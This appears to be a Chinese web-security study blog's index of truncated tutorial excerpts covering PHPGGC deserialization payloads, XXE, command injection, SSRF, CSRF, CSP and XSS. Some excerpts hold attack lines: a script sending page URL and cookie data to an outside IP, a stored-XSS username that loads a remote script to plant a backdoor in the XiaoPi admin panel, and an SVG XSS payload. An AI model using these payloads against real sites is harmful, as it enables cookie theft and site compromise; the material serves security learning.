PHPGGC
项目地址:https://github.com/ambionics/phpggc
搭建:Linux 直接下载下来后./phpggc -h 查看使用方法即可,比较简单
介绍:
PHPGGC 是一个包含 unserialize () 有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework 等。
在 ctf 及其他利用框架反序列化漏洞时,自己编写 poc 耗时太久,额,其实可以说自己写不出来 poc,太过复杂,这里就需要我们用到工具
环境搭建需要 ...
不同属性的演示12345678910111213<?phpheader("Content-type: text/html; charset=utf-8");//public private protected说明class test{ public $name="xiaodi"; private $age="29"; protected $sex="man";}$a=new test();$a=serialize($a);print_r($a);var_dump(unserialize($a));?>
1234567891011121、对象变量属性:public(公共的) 在本类内部、外部类、子类都可以访问protect(受保护的) 只有本类或子类或父类中可以访问private(私人的) 只有本类内部可以使用 2、序列化数据显示:public属性序列化的时候格式是正常成员名private属性序列化的时候格式是%00 类名 %00 成员名protec ...
简单理解序列化
1234567序列化相当于一台电脑,将其拆分为机箱,电源,cpu,内存,这样的零件反序列化,相当于将这些零件重新组装序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换成对象serialize() //将对象转换成一个字符串unserialize() //将字符串还原成一个对象
常见魔术方法12345678910111213141516171819202122232425262728293031__construct(): //当对象 new 的时候会自动调用__destruct(): 当对象被销毁时会被自动调用__sleep(): //serialize()执行时被自动调用__wakeup(): //unserialize()时会被自动调用__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用__toString(): //把类当作字符串使用时触发__call(): //调用某个方法 若方法存在 则调用 若不存在 则会去调用 __call 函数。__callStatic(): 在静态上下文中调用不可访问的方法时 ...
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML与HTML对比
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
不同协议支持的在xml这里支持的不一样:
XXE本地靶场
通过抓包发现传输数据包的格式是xml的格式。
那么还可以通过burp自带的扫描方式进行xml格式的搜索:
常用的Payload12345678910111213141516171819202122232425262728293031323334353637383940414243参考:https://www.cnblogs.com ...
常见功能点:1234567891011Web管理界面:配置主机名、IP地址、网关等系统参数,以及重启、关机等系统操作。系统信息查询:诸如ping、nslookup、查看系统版本等功能。文件操作:包括文件上传、下载、删除等功能。(这种跟代码有关系,如果对方代码中删除文件使用的是系统命令进行删除,过滤不严谨的 )邮件发送:构建邮件内容并发送,如果未正确处理用户输入,可能被注入命令。图片处理:一些站点可能调用外部程序来处理图片,如格式转换等,若未对用户输入进行过滤,可能存在命令注入。其他外部程序调用:只要是应用程序调用外部程序来完成功能,都可能存在命令注入风险
危险函数PHP—危险函数12345代码执行函数:eval()、 assert() 、 preg_replace() 、 create_function() 、 array_map() 、call_user_func() 、 call_user_func_array() 、 array_filter() 、uasort() 等 命令执行函数:system()、 exec() 、 shell_exec() 、 pcntl_exec ...
SSRF漏洞原理
12345678SSRF(Server Side Request Forgery: 服务器端请求伪造 )一种由攻击者构造形成由服务端发起请求的一个安全漏洞一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
demo测试代码演示
源代码:
1234567891011121314151617181920212223242526272829303132远程图片加载器<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><form action="" method="POST">请输入图片地址:<input type='text' name='url'& ...
原理经典场景:
1234假设用户登录某银行网站后,未退出登录。攻击者向用户发送一封邮件,内含一个恶意链接(如 https://bank.com/transfer?to=attacker&amount=1000)。用户点击链接后,浏览器向银行服务器发送转账请求,同时自动携带用户的登录 Cookie。银行服务器验证 Cookie 有效,认为是用户操作,执行转账。
防护措施
123--对敏感信息的操作增加安全的token;--对敏感信息的操作增加安全的验证码;--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
攻击条件:
1234条件:1、需要请求伪造数据包(如果是后台功能点,要么进了后台研究,要么只能从白盒的角度进行研究了)2、无过滤防护,有过滤防护能绕过3、受害者需要触发(钓鱼)
CSRF常出现的功能点1234567891011留言板、论坛:用户发表、编辑、删除评论或帖子。后台管理:管理员修改网站配置、用户权限、删除数据等操作。用户中心:用户修改个人资料、密码、邮箱等敏感信息。在线购物:用户添加、删除购物车商品,确认订单,修改收货地址等。银行转 ...
CSP策略
12345678910<meta charset="utf-8"><?php//只允许加载本地源图片://header("Content-Security-Policy:img-src 'self' ");setcookie('name', 'xiaodi');setcookie('pass', '123456');?>//加载的是一张我随意百度的图片<img src="https://img1.baidu.com/it/u=1838809789,205932933&fm=253&fmt=auto&app=138&f=JPEG?w=889&h=500"/><script>var url='http://47.94.236.117/get.php?u='+window.location.href+'&a ...
XSS 跨站 - 攻击利用 - 数据提交获取小皮面板 cookie 发现还是无法登录,因为还有其他防护,所以下面进行 xss 的高级用法。
条件:熟悉后台业务功能数据包,利用 JS 写一个模拟提交利用:凭据获取不到或有防护无法利用凭据进入时执行其他
演示小皮面板小皮面板安装包文末自取,这个是安装在 Windows 的,小迪演示的时候是阿里云开了台 Windows Server 的服务器,我是直接在 win10 上安装搭建的,记得把 Windows 的防火墙关了,不然 poc 创建不了那个 1.php,我就是没开,所以刚开始的时候一直没有成功,后来猜测是防火墙的原因,关了之后才可以。要是关了防火墙还不行,那就需要把那个病毒防护也关了。
原理登录失败日志用户名处写入远程引用 js (也就是在自己的服务器上放好 poc.js, 并且可以访问到),当管理员查看操作日志时,触发 js 代码,在网站写入后门。如用户名为:admin<script src="www.xxx.xx/poc.js"></script>
poc.js 源代码使用方式,修改写入路径 ...
XSS的分类:https://www.fooying.com/the-art-of-xss-1-introduction/
SVG—XSS12345678910SVG(Scalable Vector Graphics)是一种基于 XML 的二维矢量图格式,和我们平常用的 jpg/png 等图片格式所不同的是 SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开 SVG 图片并且编辑它,目前主流的浏览器都已经支持 SVG 图片的渲染。poc:<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script>alert(1)< ...










